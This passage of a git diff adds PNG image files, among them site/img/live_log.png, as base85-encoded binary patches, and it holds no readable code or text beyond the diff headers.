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 W6jo?n4t66wUCQ$6a%D2+!T$>iT6k~( literal 0 HcmV?d00001 diff --git a/site/img/live_log.png b/site/img/live_log.png new file mode 100644 index 0000000000000000000000000000000000000000..46478c392d51c005d362003f8d658e3897aa537a GIT binary patch literal 350327 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 